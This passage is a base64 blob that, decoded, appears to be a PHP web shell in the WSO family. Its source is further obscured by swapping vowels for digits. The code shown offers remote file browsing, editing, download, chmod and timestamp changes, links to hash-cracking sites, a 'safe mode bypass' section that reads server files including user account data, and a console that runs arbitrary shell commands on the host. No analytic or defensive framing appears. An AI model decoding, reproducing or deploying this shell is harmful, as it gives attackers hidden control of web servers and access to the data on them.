2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+TjFtNTo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nZjRsNW4xbTUnIHYxbDM1PScqJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj4NCgkJCTwvdDFibDU+PC9mMnJtPiI7DQoNCglmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7DQoJCTRmKHMzYnN0cigkcDF0aCwgLTYpICE9ICcvJykNCgkJCSRwMXRoLj0nLyc7DQoJCSRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KCQk0Zig0c18xcnIxeSgkcDF0aHMpJiZAYzIzbnQoJHAxdGhzKSkgew0KCQkJZjJyNTFjaCgkcDF0aHMgMXMgJDR0NW0pIHsNCgkJCQk0ZihANHNfZDRyKCQ0dDVtKSl7DQoJCQkJCTRmKCRwMXRoIT0kNHQ1bSkNCgkJCQkJCXdzMlI1YzNyczR2NUdsMmIoJDR0NW0pOw0KCQkJCX0gNWxzNSB7DQoJCQkJCTRmKEBzdHJwMnMoQGY0bDVfZzV0X2MybnQ1bnRzKCQ0dDVtKSwgQCRfUE9TVFsncGEnXSkhPT1mMWxzNSkNCgkJCQkJCTVjaDIgIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsbjNsbCxcIiIuM3JsNW5jMmQ1KCQ0dDVtKS4iXCIsIFwidjQ1d1wiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCgk0ZihAJF9QT1NUWydwbyddKQ0KCQl3czJSNWMzcnM0djVHbDJiKCRfUE9TVFsnYyddKTsNCgk1Y2gyICI8L2Q0dj48YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gbTV0aDJkPSdwMnN0JyB0MXJnNXQ9J19ibDFuaycgbjFtNT0naGYnPg0KCQkJPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2suYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lmgxc2hjcjFjay5jMm0vNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtNGx3MHJtLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tNGx3MHJtLmMybS9jcjFjazVyL3M1MXJjaC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy40bmYyJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy40bmYyLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpLnI1ZG4yNHo1LmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL21kaS5yNWRuMjR6NS5jMm0vP3E9JytkMmMzbTVudC5oZi5oMXNoLnYxbDM1Kycmcz1tZGknO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaWQ1Y3J5cHQ1ci5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubWRpZDVjcnlwdDVyLmMybS8nO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQk8L2Yycm0+PC9kNHY+IjsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQoJCTVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7DQoJCXdzMkYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT93czJWNDV3UzR6NShmNGw1czR6NSgkX1BPU1RbJ3A2J10pKTonLScpLicgPHNwMW4+UDVybTRzczQybjo8L3NwMW4+ICcud3MyUDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsNCgk1Y2gyICc8c3Axbj5DcjUxdDUgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCgk0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQoJCSRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCgk0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCgkJJG0gPSAxcnIxeSgnVjQ1dycsICdINGdobDRnaHQnLCAnRDJ3bmwyMWQnLCAnSDV4ZDNtcCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsXCcnLnN0cnQybDJ3NXIoJHYpLidcJykiPicuKChzdHJ0MmwydzVyKCR2KT09QCRfUE9TVFsncGEnXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jYWFhYWFhPjx0cj48dGQgYmdjMmwycj0jb29vb29vPjxzcDFuIHN0eWw1PSJmMm50LXc1NGdodDogbjJybTFsOyI+PHByNT4nLiRoWzBdLic8L3ByNT48L3NwMW4+PC90ZD48dGQgYmdjMmwycj0jYThhOGE4PjxwcjU+Jy4kaFs2XS4nPC9wcjU+PC90ZD48dGQgYmdjMmwycj0jb29vb29vPjxwcjU+Jy5odG1sc3A1YzQxbGNoMXJzKCRoW2FdKS4nPC9wcjU+PC90ZD48L3RyPjwvdDFibDU+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdyNW4xbTUnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCTRmKCFAcjVuMW01KCRfUE9TVFsncDYnXSwgJF9QT1NUWydwbyddKSkNCgkJCQkJNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsNCgkJCQk1bHM1DQoJCQkJCWQ0NSgnPHNjcjRwdD5nKG4zbGwsbjNsbCwiJy4zcmw1bmMyZDUoJF9QT1NUWydwbyddKS4nIixuM2xsLCIiKTwvc2NyNHB0PicpOw0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICd0MjNjaCc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHQ0bTUgPSBzdHJ0MnQ0bTUoJF9QT1NUWydwbyddKTsNCgkJCQk0ZigkdDRtNSkgew0KCQkJCQk0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkNCgkJCQkJCTVjaDIgJ0YxNGwhJzsNCgkJCQkJNWxzNQ0KCQkJCQkJNWNoMiAnVDIzY2g1ZCEnOw0KCQkJCX0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgl9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzFmNU0yZDUoKSB7DQoJJHQ1bXA9Jyc7DQoJMmJfc3QxcnQoKTsNCglzdzR0Y2goJF9QT1NUWydwNiddKSB7DQoJCWMxczUgNjoNCgkJCSR0NW1wPUB0NW1wbjFtKCR0NXN0LCAnY3gnKTsNCgkJCTRmKEBjMnB5KCJjMm1wcjVzcy56bDRiOi8vIi4kX1BPU1RbJ3BhJ10sICR0NW1wKSl7DQoJCQkJNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOw0KCQkJCTNubDRuaygkdDVtcCk7DQoJCQl9IDVsczUNCgkJCQk1Y2gyICdTMnJyeS4uLiBDMW5cJ3QgMnA1biBmNGw1JzsNCgkJCWJyNTFrOw0KCQljMXM1IGE6DQoJCQkkZjRsNXMgPSBnbDJiKCRfUE9TVFsncGEnXS4nKicpOw0KCQkJNGYoIDRzXzFycjF5KCRmNGw1cykgKQ0KCQkJCWYycjUxY2ggKCRmNGw1cyAxcyAkZjRsNW4xbTUpDQoJCQkJCTVjaDIgJGY0bDVuMW01LiJcbiI7DQoJCQlicjUxazsNCgkJYzFzNSBvOg0KCQkJJGNoID0gYzNybF80bjR0KCJmNGw1Oi8vIi4kX1BPU1RbJ3BhJ10uIlx4MDAiLnByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOw0KCQkJYzNybF81eDVjKCRjaCk7DQoJCQlicjUxazsNCgkJYzFzNSB1Og0KCQkJNG40X3I1c3QycjUoInMxZjVfbTJkNSIpOw0KCQkJNG40X3I1c3QycjUoIjJwNW5fYjFzNWQ0ciIpOw0KCQkJNG5jbDNkNSgkX1BPU1RbJ3BhJ10pOw0KCQkJYnI1MWs7DQoJCWMxczUgaToNCgkJCWYycig7JF9QT1NUWydwYSddIDw9ICRfUE9TVFsncG8nXTskX1BPU1RbJ3BhJ10rKykgew0KCQkJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsNCgkJCQk0ZiAoJDM0ZCkNCgkJCQkJNWNoMiBqMjRuKCc6JywkMzRkKS4iXG4iOw0KCQkJfQ0KCQkJYnI1MWs7DQoJfQ0KCSR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlMxZjUgbTJkNSBieXAxc3M8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTVjaDIgJzxzcDFuPkMycHkgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiNiIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkdsMmIgKGw0c3QgZDRyKTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJhIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+QzNybCAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwidSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPlAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgk0ZigkdDVtcCkNCgkJNWNoMiAnPHByNSBjbDFzcz0ibWw2IiBzdHlsNT0ibTFyZzRuLXQycDppcHgiIDRkPSJPM3RwM3QiPicuaHRtbHNwNWM0MWxjaDFycygkdDVtcCkuJzwvcHI1Pic7DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQzJuczJsNSgpIHsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IHRyMzU7DQogICAgICAgICRfUE9TVFsncDYnXSAuPSAnIGE+JjYnOw0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IGYxbHM1Ow0KDQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCgkJMmJfc3QxcnQoKTsNCgkJNWNoMiAiZC5jZi5jbWQudjFsMzU9Jyc7XG4iOw0KCQkkdDVtcCA9IEA0YzJudigkX1BPU1RbJ2NoMXJzNXQnXSwgJ1VURi04JywgMWRkY3NsMXNoNXMoIlxuJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSksIlxuXHJcdFxcJ1wwIikpOw0KCQk0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpCXsNCgkJCTRmKEBjaGQ0cigkbTF0Y2hbNl0pKSB7DQoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGc1dGN3ZCgpOw0KCQkJCTVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KCQkJfQ0KCQl9DQoJCTVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOw0KCQk1Y2gyICJkLmNmLjIzdHAzdC5zY3IybGxUMnAgPSBkLmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCgkJJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQoJd3MySDUxZDVyKCk7DQogICAgNWNoMiAiPHNjcjRwdD4NCjRmKHc0bmQydy5FdjVudCkgdzRuZDJ3LmMxcHQzcjVFdjVudHMoRXY1bnQuS0VZRE9XTik7DQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7DQp2MXIgYzNyID0gMDsNCmYzbmN0NDJuIGtwKDUpIHsNCgl2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsNCgk0ZihuID09IG84KSB7DQoJCWMzci0tOw0KCQk0ZihjM3I+PTApDQoJCQlkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQoJCTVsczUNCgkJCWMzcisrOw0KCX0gNWxzNSA0ZihuID09IHUwKSB7DQoJCWMzcisrOw0KCQk0ZihjM3IgPCBjbWRzLmw1bmd0aCkNCgkJCWQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCgkJNWxzNQ0KCQkJYzNyLS07DQoJfQ0KfQ0KZjNuY3Q0Mm4gMWRkKGNtZCkgew0KCWNtZHMucDJwKCk7DQoJY21kcy5wM3NoKGNtZCk7DQoJY21kcy5wM3NoKCcnKTsNCgljM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+IjsNCgk1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQuY2YuY21kLnYxbDM1PT1cJ2NsNTFyXCcpe2QuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIy